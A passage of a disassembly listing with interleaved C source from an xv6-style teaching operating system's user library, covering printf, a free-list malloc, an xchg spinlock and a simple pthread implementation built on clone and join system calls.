80 e8 0f 00 00 movzbl 0xfe8(%eax),%eax 4d0: 88 44 0d dc mov %al,-0x24(%ebp,%ecx,1) }while((x /= base) != 0); 4d4: 8b 75 10 mov 0x10(%ebp),%esi 4d7: 8b 45 ec mov -0x14(%ebp),%eax 4da: ba 00 00 00 00 mov $0x0,%edx 4df: f7 f6 div %esi 4e1: 89 45 ec mov %eax,-0x14(%ebp) 4e4: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 4e8: 75 c7 jne 4b1 <printint+0x39> if(neg) 4ea: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 4ee: 74 10 je 500 <printint+0x88> buf[i++] = '-'; 4f0: 8b 45 f4 mov -0xc(%ebp),%eax 4f3: 8d 50 01 lea 0x1(%eax),%edx 4f6: 89 55 f4 mov %edx,-0xc(%ebp) 4f9: c6 44 05 dc 2d movb $0x2d,-0x24(%ebp,%eax,1) while(--i >= 0) 4fe: eb 1f jmp 51f <printint+0xa7> 500: eb 1d jmp 51f <printint+0xa7> putc(fd, buf[i]); 502: 8d 55 dc lea -0x24(%ebp),%edx 505: 8b 45 f4 mov -0xc(%ebp),%eax 508: 01 d0 add %edx,%eax 50a: 0f b6 00 movzbl (%eax),%eax 50d: 0f be c0 movsbl %al,%eax 510: 89 44 24 04 mov %eax,0x4(%esp) 514: 8b 45 08 mov 0x8(%ebp),%eax 517: 89 04 24 mov %eax,(%esp) 51a: e8 31 ff ff ff call 450 <putc> buf[i++] = digits[x % base]; }while((x /= base) != 0); if(neg) buf[i++] = '-'; while(--i >= 0) 51f: 83 6d f4 01 subl $0x1,-0xc(%ebp) 523: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 527: 79 d9 jns 502 <printint+0x8a> putc(fd, buf[i]); } 529: 83 c4 30 add $0x30,%esp 52c: 5b pop %ebx 52d: 5e pop %esi 52e: 5d pop %ebp 52f: c3 ret 00000530 <printf>: // Print to the given fd. Only understands %d, %x, %p, %s. void printf(int fd, char *fmt, ...) { 530: 55 push %ebp 531: 89 e5 mov %esp,%ebp 533: 83 ec 38 sub $0x38,%esp char *s; int c, i, state; uint *ap; state = 0; 536: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) ap = (uint*)(void*)&fmt + 1; 53d: 8d 45 0c lea 0xc(%ebp),%eax 540: 83 c0 04 add $0x4,%eax 543: 89 45 e8 mov %eax,-0x18(%ebp) for(i = 0; fmt[i]; i++){ 546: c7 45 f0 00 00 00 00 movl $0x0,-0x10(%ebp) 54d: e9 7c 01 00 00 jmp 6ce <printf+0x19e> c = fmt[i] & 0xff; 552: 8b 55 0c mov 0xc(%ebp),%edx 555: 8b 45 f0 mov -0x10(%ebp),%eax 558: 01 d0 add %edx,%eax 55a: 0f b6 00 movzbl (%eax),%eax 55d: 0f be c0 movsbl %al,%eax 560: 25 ff 00 00 00 and $0xff,%eax 565: 89 45 e4 mov %eax,-0x1c(%ebp) if(state == 0){ 568: 83 7d ec 00 cmpl $0x0,-0x14(%ebp) 56c: 75 2c jne 59a <printf+0x6a> if(c == '%'){ 56e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 572: 75 0c jne 580 <printf+0x50> state = '%'; 574: c7 45 ec 25 00 00 00 movl $0x25,-0x14(%ebp) 57b: e9 4a 01 00 00 jmp 6ca <printf+0x19a> } else { putc(fd, c); 580: 8b 45 e4 mov -0x1c(%ebp),%eax 583: 0f be c0 movsbl %al,%eax 586: 89 44 24 04 mov %eax,0x4(%esp) 58a: 8b 45 08 mov 0x8(%ebp),%eax 58d: 89 04 24 mov %eax,(%esp) 590: e8 bb fe ff ff call 450 <putc> 595: e9 30 01 00 00 jmp 6ca <printf+0x19a> } } else if(state == '%'){ 59a: 83 7d ec 25 cmpl $0x25,-0x14(%ebp) 59e: 0f 85 26 01 00 00 jne 6ca <printf+0x19a> if(c == 'd'){ 5a4: 83 7d e4 64 cmpl $0x64,-0x1c(%ebp) 5a8: 75 2d jne 5d7 <printf+0xa7> printint(fd, *ap, 10, 1); 5aa: 8b 45 e8 mov -0x18(%ebp),%eax 5ad: 8b 00 mov (%eax),%eax 5af: c7 44 24 0c 01 00 00 movl $0x1,0xc(%esp) 5b6: 00 5b7: c7 44 24 08 0a 00 00 movl $0xa,0x8(%esp) 5be: 00 5bf: 89 44 24 04 mov %eax,0x4(%esp) 5c3: 8b 45 08 mov 0x8(%ebp),%eax 5c6: 89 04 24 mov %eax,(%esp) 5c9: e8 aa fe ff ff call 478 <printint> ap++; 5ce: 83 45 e8 04 addl $0x4,-0x18(%ebp) 5d2: e9 ec 00 00 00 jmp 6c3 <printf+0x193> } else if(c == 'x' || c == 'p'){ 5d7: 83 7d e4 78 cmpl $0x78,-0x1c(%ebp) 5db: 74 06 je 5e3 <printf+0xb3> 5dd: 83 7d e4 70 cmpl $0x70,-0x1c(%ebp) 5e1: 75 2d jne 610 <printf+0xe0> printint(fd, *ap, 16, 0); 5e3: 8b 45 e8 mov -0x18(%ebp),%eax 5e6: 8b 00 mov (%eax),%eax 5e8: c7 44 24 0c 00 00 00 movl $0x0,0xc(%esp) 5ef: 00 5f0: c7 44 24 08 10 00 00 movl $0x10,0x8(%esp) 5f7: 00 5f8: 89 44 24 04 mov %eax,0x4(%esp) 5fc: 8b 45 08 mov 0x8(%ebp),%eax 5ff: 89 04 24 mov %eax,(%esp) 602: e8 71 fe ff ff call 478 <printint> ap++; 607: 83 45 e8 04 addl $0x4,-0x18(%ebp) 60b: e9 b3 00 00 00 jmp 6c3 <printf+0x193> } else if(c == 's'){ 610: 83 7d e4 73 cmpl $0x73,-0x1c(%ebp) 614: 75 45 jne 65b <printf+0x12b> s = (char*)*ap; 616: 8b 45 e8 mov -0x18(%ebp),%eax 619: 8b 00 mov (%eax),%eax 61b: 89 45 f4 mov %eax,-0xc(%ebp) ap++; 61e: 83 45 e8 04 addl $0x4,-0x18(%ebp) if(s == 0) 622: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 626: 75 09 jne 631 <printf+0x101> s = "(null)"; 628: c7 45 f4 ca 0b 00 00 movl $0xbca,-0xc(%ebp) while(*s != 0){ 62f: eb 1e jmp 64f <printf+0x11f> 631: eb 1c jmp 64f <printf+0x11f> putc(fd, *s); 633: 8b 45 f4 mov -0xc(%ebp),%eax 636: 0f b6 00 movzbl (%eax),%eax 639: 0f be c0 movsbl %al,%eax 63c: 89 44 24 04 mov %eax,0x4(%esp) 640: 8b 45 08 mov 0x8(%ebp),%eax 643: 89 04 24 mov %eax,(%esp) 646: e8 05 fe ff ff call 450 <putc> s++; 64b: 83 45 f4 01 addl $0x1,-0xc(%ebp) } else if(c == 's'){ s = (char*)*ap; ap++; if(s == 0) s = "(null)"; while(*s != 0){ 64f: 8b 45 f4 mov -0xc(%ebp),%eax 652: 0f b6 00 movzbl (%eax),%eax 655: 84 c0 test %al,%al 657: 75 da jne 633 <printf+0x103> 659: eb 68 jmp 6c3 <printf+0x193> putc(fd, *s); s++; } } else if(c == 'c'){ 65b: 83 7d e4 63 cmpl $0x63,-0x1c(%ebp) 65f: 75 1d jne 67e <printf+0x14e> putc(fd, *ap); 661: 8b 45 e8 mov -0x18(%ebp),%eax 664: 8b 00 mov (%eax),%eax 666: 0f be c0 movsbl %al,%eax 669: 89 44 24 04 mov %eax,0x4(%esp) 66d: 8b 45 08 mov 0x8(%ebp),%eax 670: 89 04 24 mov %eax,(%esp) 673: e8 d8 fd ff ff call 450 <putc> ap++; 678: 83 45 e8 04 addl $0x4,-0x18(%ebp) 67c: eb 45 jmp 6c3 <printf+0x193> } else if(c == '%'){ 67e: 83 7d e4 25 cmpl $0x25,-0x1c(%ebp) 682: 75 17 jne 69b <printf+0x16b> putc(fd, c); 684: 8b 45 e4 mov -0x1c(%ebp),%eax 687: 0f be c0 movsbl %al,%eax 68a: 89 44 24 04 mov %eax,0x4(%esp) 68e: 8b 45 08 mov 0x8(%ebp),%eax 691: 89 04 24 mov %eax,(%esp) 694: e8 b7 fd ff ff call 450 <putc> 699: eb 28 jmp 6c3 <printf+0x193> } else { // Unknown % sequence. Print it to draw attention. putc(fd, '%'); 69b: c7 44 24 04 25 00 00 movl $0x25,0x4(%esp) 6a2: 00 6a3: 8b 45 08 mov 0x8(%ebp),%eax 6a6: 89 04 24 mov %eax,(%esp) 6a9: e8 a2 fd ff ff call 450 <putc> putc(fd, c); 6ae: 8b 45 e4 mov -0x1c(%ebp),%eax 6b1: 0f be c0 movsbl %al,%eax 6b4: 89 44 24 04 mov %eax,0x4(%esp) 6b8: 8b 45 08 mov 0x8(%ebp),%eax 6bb: 89 04 24 mov %eax,(%esp) 6be: e8 8d fd ff ff call 450 <putc> } state = 0; 6c3: c7 45 ec 00 00 00 00 movl $0x0,-0x14(%ebp) int c, i, state; uint *ap; state = 0; ap = (uint*)(void*)&fmt + 1; for(i = 0; fmt[i]; i++){ 6ca: 83 45 f0 01 addl $0x1,-0x10(%ebp) 6ce: 8b 55 0c mov 0xc(%ebp),%edx 6d1: 8b 45 f0 mov -0x10(%ebp),%eax 6d4: 01 d0 add %edx,%eax 6d6: 0f b6 00 movzbl (%eax),%eax 6d9: 84 c0 test %al,%al 6db: 0f 85 71 fe ff ff jne 552 <printf+0x22> putc(fd, c); } state = 0; } } } 6e1: c9 leave 6e2: c3 ret 6e3: 90 nop 000006e4 <free>: static Header base; static Header *freep; void free(void *ap) { 6e4: 55 push %ebp 6e5: 89 e5 mov %esp,%ebp 6e7: 83 ec 10 sub $0x10,%esp Header *bp, *p; bp = (Header*)ap - 1; 6ea: 8b 45 08 mov 0x8(%ebp),%eax 6ed: 83 e8 08 sub $0x8,%eax 6f0: 89 45 f8 mov %eax,-0x8(%ebp) for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 6f3: a1 08 10 00 00 mov 0x1008,%eax 6f8: 89 45 fc mov %eax,-0x4(%ebp) 6fb: eb 24 jmp 721 <free+0x3d> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) 6fd: 8b 45 fc mov -0x4(%ebp),%eax 700: 8b 00 mov (%eax),%eax 702: 3b 45 fc cmp -0x4(%ebp),%eax 705: 77 12 ja 719 <free+0x35> 707: 8b 45 f8 mov -0x8(%ebp),%eax 70a: 3b 45 fc cmp -0x4(%ebp),%eax 70d: 77 24 ja 733 <free+0x4f> 70f: 8b 45 fc mov -0x4(%ebp),%eax 712: 8b 00 mov (%eax),%eax 714: 3b 45 f8 cmp -0x8(%ebp),%eax 717: 77 1a ja 733 <free+0x4f> free(void *ap) { Header *bp, *p; bp = (Header*)ap - 1; for(p = freep; !(bp > p && bp < p->s.ptr); p = p->s.ptr) 719: 8b 45 fc mov -0x4(%ebp),%eax 71c: 8b 00 mov (%eax),%eax 71e: 89 45 fc mov %eax,-0x4(%ebp) 721: 8b 45 f8 mov -0x8(%ebp),%eax 724: 3b 45 fc cmp -0x4(%ebp),%eax 727: 76 d4 jbe 6fd <free+0x19> 729: 8b 45 fc mov -0x4(%ebp),%eax 72c: 8b 00 mov (%eax),%eax 72e: 3b 45 f8 cmp -0x8(%ebp),%eax 731: 76 ca jbe 6fd <free+0x19> if(p >= p->s.ptr && (bp > p || bp < p->s.ptr)) break; if(bp + bp->s.size == p->s.ptr){ 733: 8b 45 f8 mov -0x8(%ebp),%eax 736: 8b 40 04 mov 0x4(%eax),%eax 739: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 740: 8b 45 f8 mov -0x8(%ebp),%eax 743: 01 c2 add %eax,%edx 745: 8b 45 fc mov -0x4(%ebp),%eax 748: 8b 00 mov (%eax),%eax 74a: 39 c2 cmp %eax,%edx 74c: 75 24 jne 772 <free+0x8e> bp->s.size += p->s.ptr->s.size; 74e: 8b 45 f8 mov -0x8(%ebp),%eax 751: 8b 50 04 mov 0x4(%eax),%edx 754: 8b 45 fc mov -0x4(%ebp),%eax 757: 8b 00 mov (%eax),%eax 759: 8b 40 04 mov 0x4(%eax),%eax 75c: 01 c2 add %eax,%edx 75e: 8b 45 f8 mov -0x8(%ebp),%eax 761: 89 50 04 mov %edx,0x4(%eax) bp->s.ptr = p->s.ptr->s.ptr; 764: 8b 45 fc mov -0x4(%ebp),%eax 767: 8b 00 mov (%eax),%eax 769: 8b 10 mov (%eax),%edx 76b: 8b 45 f8 mov -0x8(%ebp),%eax 76e: 89 10 mov %edx,(%eax) 770: eb 0a jmp 77c <free+0x98> } else bp->s.ptr = p->s.ptr; 772: 8b 45 fc mov -0x4(%ebp),%eax 775: 8b 10 mov (%eax),%edx 777: 8b 45 f8 mov -0x8(%ebp),%eax 77a: 89 10 mov %edx,(%eax) if(p + p->s.size == bp){ 77c: 8b 45 fc mov -0x4(%ebp),%eax 77f: 8b 40 04 mov 0x4(%eax),%eax 782: 8d 14 c5 00 00 00 00 lea 0x0(,%eax,8),%edx 789: 8b 45 fc mov -0x4(%ebp),%eax 78c: 01 d0 add %edx,%eax 78e: 3b 45 f8 cmp -0x8(%ebp),%eax 791: 75 20 jne 7b3 <free+0xcf> p->s.size += bp->s.size; 793: 8b 45 fc mov -0x4(%ebp),%eax 796: 8b 50 04 mov 0x4(%eax),%edx 799: 8b 45 f8 mov -0x8(%ebp),%eax 79c: 8b 40 04 mov 0x4(%eax),%eax 79f: 01 c2 add %eax,%edx 7a1: 8b 45 fc mov -0x4(%ebp),%eax 7a4: 89 50 04 mov %edx,0x4(%eax) p->s.ptr = bp->s.ptr; 7a7: 8b 45 f8 mov -0x8(%ebp),%eax 7aa: 8b 10 mov (%eax),%edx 7ac: 8b 45 fc mov -0x4(%ebp),%eax 7af: 89 10 mov %edx,(%eax) 7b1: eb 08 jmp 7bb <free+0xd7> } else p->s.ptr = bp; 7b3: 8b 45 fc mov -0x4(%ebp),%eax 7b6: 8b 55 f8 mov -0x8(%ebp),%edx 7b9: 89 10 mov %edx,(%eax) freep = p; 7bb: 8b 45 fc mov -0x4(%ebp),%eax 7be: a3 08 10 00 00 mov %eax,0x1008 } 7c3: c9 leave 7c4: c3 ret 000007c5 <morecore>: static Header* morecore(uint nu) { 7c5: 55 push %ebp 7c6: 89 e5 mov %esp,%ebp 7c8: 83 ec 28 sub $0x28,%esp char *p; Header *hp; if(nu < 4096) 7cb: 81 7d 08 ff 0f 00 00 cmpl $0xfff,0x8(%ebp) 7d2: 77 07 ja 7db <morecore+0x16> nu = 4096; 7d4: c7 45 08 00 10 00 00 movl $0x1000,0x8(%ebp) p = sbrk(nu * sizeof(Header)); 7db: 8b 45 08 mov 0x8(%ebp),%eax 7de: c1 e0 03 shl $0x3,%eax 7e1: 89 04 24 mov %eax,(%esp) 7e4: e8 27 fc ff ff call 410 <sbrk> 7e9: 89 45 f4 mov %eax,-0xc(%ebp) if(p == (char*)-1) 7ec: 83 7d f4 ff cmpl $0xffffffff,-0xc(%ebp) 7f0: 75 07 jne 7f9 <morecore+0x34> return 0; 7f2: b8 00 00 00 00 mov $0x0,%eax 7f7: eb 22 jmp 81b <morecore+0x56> hp = (Header*)p; 7f9: 8b 45 f4 mov -0xc(%ebp),%eax 7fc: 89 45 f0 mov %eax,-0x10(%ebp) hp->s.size = nu; 7ff: 8b 45 f0 mov -0x10(%ebp),%eax 802: 8b 55 08 mov 0x8(%ebp),%edx 805: 89 50 04 mov %edx,0x4(%eax) free((void*)(hp + 1)); 808: 8b 45 f0 mov -0x10(%ebp),%eax 80b: 83 c0 08 add $0x8,%eax 80e: 89 04 24 mov %eax,(%esp) 811: e8 ce fe ff ff call 6e4 <free> return freep; 816: a1 08 10 00 00 mov 0x1008,%eax } 81b: c9 leave 81c: c3 ret 0000081d <malloc>: void* malloc(uint nbytes) { 81d: 55 push %ebp 81e: 89 e5 mov %esp,%ebp 820: 83 ec 28 sub $0x28,%esp Header *p, *prevp; uint nunits; nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; 823: 8b 45 08 mov 0x8(%ebp),%eax 826: 83 c0 07 add $0x7,%eax 829: c1 e8 03 shr $0x3,%eax 82c: 83 c0 01 add $0x1,%eax 82f: 89 45 ec mov %eax,-0x14(%ebp) if((prevp = freep) == 0){ 832: a1 08 10 00 00 mov 0x1008,%eax 837: 89 45 f0 mov %eax,-0x10(%ebp) 83a: 83 7d f0 00 cmpl $0x0,-0x10(%ebp) 83e: 75 23 jne 863 <malloc+0x46> base.s.ptr = freep = prevp = &base; 840: c7 45 f0 00 10 00 00 movl $0x1000,-0x10(%ebp) 847: 8b 45 f0 mov -0x10(%ebp),%eax 84a: a3 08 10 00 00 mov %eax,0x1008 84f: a1 08 10 00 00 mov 0x1008,%eax 854: a3 00 10 00 00 mov %eax,0x1000 base.s.size = 0; 859: c7 05 04 10 00 00 00 movl $0x0,0x1004 860: 00 00 00 } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 863: 8b 45 f0 mov -0x10(%ebp),%eax 866: 8b 00 mov (%eax),%eax 868: 89 45 f4 mov %eax,-0xc(%ebp) if(p->s.size >= nunits){ 86b: 8b 45 f4 mov -0xc(%ebp),%eax 86e: 8b 40 04 mov 0x4(%eax),%eax 871: 3b 45 ec cmp -0x14(%ebp),%eax 874: 72 4d jb 8c3 <malloc+0xa6> if(p->s.size == nunits) 876: 8b 45 f4 mov -0xc(%ebp),%eax 879: 8b 40 04 mov 0x4(%eax),%eax 87c: 3b 45 ec cmp -0x14(%ebp),%eax 87f: 75 0c jne 88d <malloc+0x70> prevp->s.ptr = p->s.ptr; 881: 8b 45 f4 mov -0xc(%ebp),%eax 884: 8b 10 mov (%eax),%edx 886: 8b 45 f0 mov -0x10(%ebp),%eax 889: 89 10 mov %edx,(%eax) 88b: eb 26 jmp 8b3 <malloc+0x96> else { p->s.size -= nunits; 88d: 8b 45 f4 mov -0xc(%ebp),%eax 890: 8b 40 04 mov 0x4(%eax),%eax 893: 2b 45 ec sub -0x14(%ebp),%eax 896: 89 c2 mov %eax,%edx 898: 8b 45 f4 mov -0xc(%ebp),%eax 89b: 89 50 04 mov %edx,0x4(%eax) p += p->s.size; 89e: 8b 45 f4 mov -0xc(%ebp),%eax 8a1: 8b 40 04 mov 0x4(%eax),%eax 8a4: c1 e0 03 shl $0x3,%eax 8a7: 01 45 f4 add %eax,-0xc(%ebp) p->s.size = nunits; 8aa: 8b 45 f4 mov -0xc(%ebp),%eax 8ad: 8b 55 ec mov -0x14(%ebp),%edx 8b0: 89 50 04 mov %edx,0x4(%eax) } freep = prevp; 8b3: 8b 45 f0 mov -0x10(%ebp),%eax 8b6: a3 08 10 00 00 mov %eax,0x1008 return (void*)(p + 1); 8bb: 8b 45 f4 mov -0xc(%ebp),%eax 8be: 83 c0 08 add $0x8,%eax 8c1: eb 38 jmp 8fb <malloc+0xde> } if(p == freep) 8c3: a1 08 10 00 00 mov 0x1008,%eax 8c8: 39 45 f4 cmp %eax,-0xc(%ebp) 8cb: 75 1b jne 8e8 <malloc+0xcb> if((p = morecore(nunits)) == 0) 8cd: 8b 45 ec mov -0x14(%ebp),%eax 8d0: 89 04 24 mov %eax,(%esp) 8d3: e8 ed fe ff ff call 7c5 <morecore> 8d8: 89 45 f4 mov %eax,-0xc(%ebp) 8db: 83 7d f4 00 cmpl $0x0,-0xc(%ebp) 8df: 75 07 jne 8e8 <malloc+0xcb> return 0; 8e1: b8 00 00 00 00 mov $0x0,%eax 8e6: eb 13 jmp 8fb <malloc+0xde> nunits = (nbytes + sizeof(Header) - 1)/sizeof(Header) + 1; if((prevp = freep) == 0){ base.s.ptr = freep = prevp = &base; base.s.size = 0; } for(p = prevp->s.ptr; ; prevp = p, p = p->s.ptr){ 8e8: 8b 45 f4 mov -0xc(%ebp),%eax 8eb: 89 45 f0 mov %eax,-0x10(%ebp) 8ee: 8b 45 f4 mov -0xc(%ebp),%eax 8f1: 8b 00 mov (%eax),%eax 8f3: 89 45 f4 mov %eax,-0xc(%ebp) return (void*)(p + 1); } if(p == freep) if((p = morecore(nunits)) == 0) return 0; } 8f6: e9 70 ff ff ff jmp 86b <malloc+0x4e> } 8fb: c9 leave 8fc: c3 ret 8fd: 66 90 xchg %ax,%ax 8ff: 90 nop 00000900 <xchg>: asm volatile("sti"); } static inline uint xchg(volatile uint *addr, uint newval) { 900: 55 push %ebp 901: 89 e5 mov %esp,%ebp 903: 83 ec 10 sub $0x10,%esp uint result; // The + in "+m" denotes a read-modify-write operand. asm volatile("lock; xchgl %0, %1" : 906: 8b 55 08 mov 0x8(%ebp),%edx 909: 8b 45 0c mov 0xc(%ebp),%eax 90c: 8b 4d 08 mov 0x8(%ebp),%ecx 90f: f0 87 02 lock xchg %eax,(%edx) 912: 89 45 fc mov %eax,-0x4(%ebp) "+m" (*addr), "=a" (result) : "1" (newval) : "cc"); return result; 915: 8b 45 fc mov -0x4(%ebp),%eax } 918: c9 leave 919: c3 ret 0000091a <pthread_create>: #define NULL 0 #define PGSIZE (4096) int pthread_create(mpthread_t *thread, mpthread_attr_t *attr, void(*func)(void*), void*arg){ 91a: 55 push %ebp 91b: 89 e5 mov %esp,%ebp 91d: 83 ec 28 sub $0x28,%esp void *stack = malloc((uint)PGSIZE*2); 920: c7 04 24 00 20 00 00 movl $0x2000,(%esp) 927: e8 f1 fe ff ff call 81d <malloc> 92c: 89 45 f4 mov %eax,-0xc(%ebp) if((uint)stack <= 0){ 92f: 8b 45 f4 mov -0xc(%ebp),%eax 932: 85 c0 test %eax,%eax 934: 75 1b jne 951 <pthread_create+0x37> printf(1, "Malloc new stack failed in pthread_create\n"); 936: c7 44 24 04 d4 0b 00 movl $0xbd4,0x4(%esp) 93d: 00 93e: c7 04 24 01 00 00 00 movl $0x1,(%esp) 945: e8 e6 fb ff ff call 530 <printf> return -1; 94a: b8 ff ff ff ff mov $0xffffffff,%eax 94f: eb 43 jmp 994 <pthread_create+0x7a> } if((uint)stack % PGSIZE){ 951: 8b 45 f4 mov -0xc(%ebp),%eax 954: 25 ff 0f 00 00 and $0xfff,%eax 959: 85 c0 test %eax,%eax 95b: 74 14 je 971 <pthread_create+0x57> stack += 4096 - ((uint)stack % PGSIZE); 95d: 8b 45 f4 mov -0xc(%ebp),%eax 960: 25 ff 0f 00 00 and $0xfff,%eax 965: 89 c2 mov %eax,%edx 967: b8 00 10 00 00 mov $0x1000,%eax 96c: 29 d0 sub %edx,%eax 96e: 01 45 f4 add %eax,-0xc(%ebp) } *thread = clone(func, arg, stack); 971: 8b 45 f4 mov -0xc(%ebp),%eax 974: 89 44 24 08 mov %eax,0x8(%esp) 978: 8b 45 14 mov 0x14(%ebp),%eax 97b: 89 44 24 04 mov %eax,0x4(%esp) 97f: 8b 45 10 mov 0x10(%ebp),%eax 982: 89 04 24 mov %eax,(%esp) 985: e8 a6 fa ff ff call 430 <clone> 98a: 8b 55 08 mov 0x8(%ebp),%edx 98d: 89 02 mov %eax,(%edx) return *thread; 98f: 8b 45 08 mov 0x8(%ebp),%eax 992: 8b 00 mov (%eax),%eax } 994: c9 leave 995: c3 ret 00000996 <pthread_join>: int pthread_join(mpthread_t thread, void **retval){ 996: 55 push %ebp 997: 89 e5 mov %esp,%ebp 999: 83 ec 28 sub $0x28,%esp void *stack; if(join((uint)thread, &stack)<0){ 99c: 8d 45 f4 lea -0xc(%ebp),%eax 99f: 89 44 24 04 mov %eax,0x4(%esp) 9a3: 8b 45 08 mov 0x8(%ebp),%eax 9a6: 89 04 24 mov %eax,(%esp) 9a9: e8 8a fa ff ff call 438 <join> 9ae: 85 c0 test %eax,%eax 9b0: 79 07 jns 9b9 <pthread_join+0x23> return -1; 9b2: b8 ff ff ff ff mov $0xffffffff,%eax 9b7: eb 10 jmp 9c9 <pthread_join+0x33> } free(stack); 9b9: 8b 45 f4 mov -0xc(%ebp),%eax 9bc: 89 04 24 mov %eax,(%esp) 9bf: e8 20 fd ff ff call 6e4 <free> return 0; 9c4: b8 00 00 00 00 mov $0x0,%eax } 9c9: c9 leave 9ca: c3 ret 000009cb <pthread_mutex_init>: void pthread_mutex_init(mpthread_mutex_t *mutex){ 9cb: 55 push %ebp 9cc: 89 e5 mov %esp,%ebp *mutex = 0; 9ce: 8b 45 08 mov 0x8(%ebp),%eax 9d1: c7 00 00 00 00 00 movl $0x0,(%eax) return; 9d7: 90 nop } 9d8: 5d pop %ebp 9d9: c3 ret 000009da <pthread_mutex_lock>: void pthread_mutex_lock(mpthread_mutex_t *mutex){ 9da: 55 push %ebp 9db: 89 e5 mov %esp,%ebp 9dd: 83 ec 08 sub $0x8,%esp while(xchg(mutex, 1) != 0); 9e0: 90 nop 9e1: c7 44 24 04 01 00 00 movl $0x1,0x4(%esp) 9e8: 00 9e9: 8b 45 08 mov 0x8(%ebp),%eax 9ec: 89 04 24 mov %eax,(%esp) 9ef: e8 0c ff ff ff call 900 <xchg> 9f4: 85 c0 test %eax,%eax 9f6: 75 e9 jne 9e1 <pthread_mutex_lock+0x7> return; 9f8: 90 nop } 9f9: c9 leave 9fa: c3 ret 000009fb <pthread_mutex_unlock>: void pthread_mutex_unlock(mpthread_mutex_t *mutex){ 9fb: 55 push %ebp 9fc: 89 e5 mov %esp,%ebp 9fe: 83 ec 08 sub $0x8,%esp xchg(mutex, 0); a01: c7 44 24 04 00 00 00 movl $0x0,0x4(%esp) a08: 00 a09: 8b 45 08 mov 0x8(%ebp),%eax a0c: 89 04 24 mov %eax,(%esp) a0f: e8 ec fe ff ff call 900 <xchg> return; a14: 90 nop } a15: c9 leave a16: c3 ret 00000a17 <pthread_cond_init>: void pthread_cond_init(mpthread_cond_t *cond){ a17: 55 push %ebp a18: 89 e5 mov %esp,%ebp cond->threadId = -1; a1a: 8b 45 08 mov 0x8(%ebp),%eax a1d: c7 00 ff ff ff ff movl $0xffffffff,(%eax) cond->next = NULL; a23: 8b 45 08 mov 0x8(%ebp),%eax a26: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) return; a2d: 90 nop } a2e: 5d pop %ebp a2f: c3 ret 00000a30 <pthread_cond_wait>: void pthread_cond_wait(mpthread_cond_t *cond, mpthread_mutex_t *mutex){ a30: 55 push %ebp a31: 89 e5 mov %esp,%ebp a33: 53 push %ebx a34: 83 ec 24 sub $0x24,%esp mpthread_cond_t *mycond = cond; a37: 8b 45 08 mov 0x8(%ebp),%eax a3a: 89 45 f4 mov %eax,-0xc(%ebp) pthread_mutex_unlock(mutex); a3d: 8b 45 0c mov 0xc(%ebp),%eax a40: 89 04 24 mov %eax,(%esp) a43: e8 b3 ff ff ff call 9fb <pthread_mutex_unlock> //iterate the linked-list pointer to the end; while(mycond->next != NULL) a48: eb 09 jmp a53 <pthread_cond_wait+0x23> mycond = mycond->next; a4a: 8b 45 f4 mov -0xc(%ebp),%eax a4d: 8b 40 04 mov 0x4(%eax),%eax a50: 89 45 f4 mov %eax,-0xc(%ebp) void pthread_cond_wait(mpthread_cond_t *cond, mpthread_mutex_t *mutex){ mpthread_cond_t *mycond = cond; pthread_mutex_unlock(mutex); //iterate the linked-list pointer to the end; while(mycond->next != NULL) a53: 8b 45 f4 mov -0xc(%ebp),%eax a56: 8b 40 04 mov 0x4(%eax),%eax a59: 85 c0 test %eax,%eax a5b: 75 ed jne a4a <pthread_cond_wait+0x1a> mycond = mycond->next; mycond->next = (mpthread_cond_t *)malloc(sizeof(mpthread_cond_t)); a5d: c7 04 24 08 00 00 00 movl $0x8,(%esp) a64: e8 b4 fd ff ff call 81d <malloc> a69: 8b 55 f4 mov -0xc(%ebp),%edx a6c: 89 42 04 mov %eax,0x4(%edx) mycond->next->threadId = getpid(); a6f: 8b 45 f4 mov -0xc(%ebp),%eax a72: 8b 58 04 mov 0x4(%eax),%ebx a75: e8 8e f9 ff ff call 408 <getpid> a7a: 89 03 mov %eax,(%ebx) mycond->next->next = NULL; a7c: 8b 45 f4 mov -0xc(%ebp),%eax a7f: 8b 40 04 mov 0x4(%eax),%eax a82: c7 40 04 00 00 00 00 movl $0x0,0x4(%eax) pthread_mutex_lock(mutex); a89: 8b 45 0c mov 0xc(%ebp),%eax a8c: 89 04 24 mov %eax,(%esp) a8f: e8 46 ff ff ff call 9da <pthread_mutex_lock> pthread_mutex_unlock(mutex); a94: 8b 45 0c mov 0xc(%ebp),%eax a97: 89 04 24 mov %eax,(%esp) a9a: e8 5c ff ff ff call 9fb <pthread_mutex_unlock> threadSleep(mutex); a9f: 8b 45 0c mov 0xc(%ebp),%eax aa2: 89 04 24 mov %eax,(%esp) aa5: e8 96 f9 ff ff call 440 <threadSleep> pthread_mutex_lock(mutex); aaa: 8b 45 0c mov 0xc(%ebp),%eax aad: 89 04 24 mov %eax,(%esp) ab0: e8 25 ff ff ff call 9da <pthread_mutex_lock> return; ab5: 90 nop } ab6: 83 c4 24 add $0x24,%esp ab9: 5b pop %ebx aba: 5d pop %ebp abb: c3 ret 00000abc <pthread_cond_signal>: void pthread_cond_signal(mpthread_cond_t *cond){ abc: 55 push %ebp abd: 89 e5 mov %esp,%ebp abf: 83 ec 28 sub $0x28,%esp mpthread_cond_t *mycond = cond; ac2: 8b 45 08 mov 0x8(%ebp),%eax ac5: 89 45 f4 mov %eax,-0xc(%ebp) while(mycond->threadId==-1) ac8: eb 09 jmp ad3 <pthread_cond_signal+0x17> mycond = mycond->next; aca: 8b 45 f4 mov -0xc(%ebp),%eax acd: 8b 40 04 mov 0x4(%eax),%eax ad0: 89 45 f4 mov %eax,-0xc(%ebp) return; } void pthread_cond_signal(mpthread_cond_t *cond){ mpthread_cond_t *mycond = cond; while(mycond->threadId==-1) ad3: 8b 45 f4 mov -0xc(%ebp),%eax ad6: 8b 00 mov (%eax),%eax ad8: 83 f8 ff cmp $0xffffffff,%eax adb: 74 ed je aca <pthread_cond_signal+0xe> mycond = mycond->next; if(mycond!=NULL){ add: 83 7d f4 00 